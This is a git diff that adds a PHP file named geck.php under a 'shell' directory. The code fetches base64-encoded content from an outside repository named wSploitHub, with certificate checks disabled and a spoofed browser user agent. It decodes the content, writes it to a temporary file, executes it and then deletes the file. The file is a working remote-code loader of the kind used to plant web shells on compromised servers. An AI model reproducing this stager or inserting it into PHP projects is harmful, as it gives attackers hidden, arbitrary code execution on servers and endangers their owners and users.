diff --git a/shell/geck.php b/shell/geck.php
new file mode 100644
index 0000000..ec24053
--- /dev/null
+++ b/shell/geck.php
@@ -0,0 +1,27 @@
+<?php
+
+function get_contents($url) {
+    $ch = curl_init($url);
+    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
+    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
+    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
+    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
+    $result = curl_exec($ch);
+    curl_close($ch);
+    return $result;
+}
+
+$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/geck';
+$encoded_code = get_contents($url);
+$decoded_code = base64_decode($encoded_code);
+
+
+$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
+file_put_contents($tempFile, $decoded_code);
+
+
+require_once $tempFile;
+unlink($tempFile); 
+
+?>
\ No newline at end of file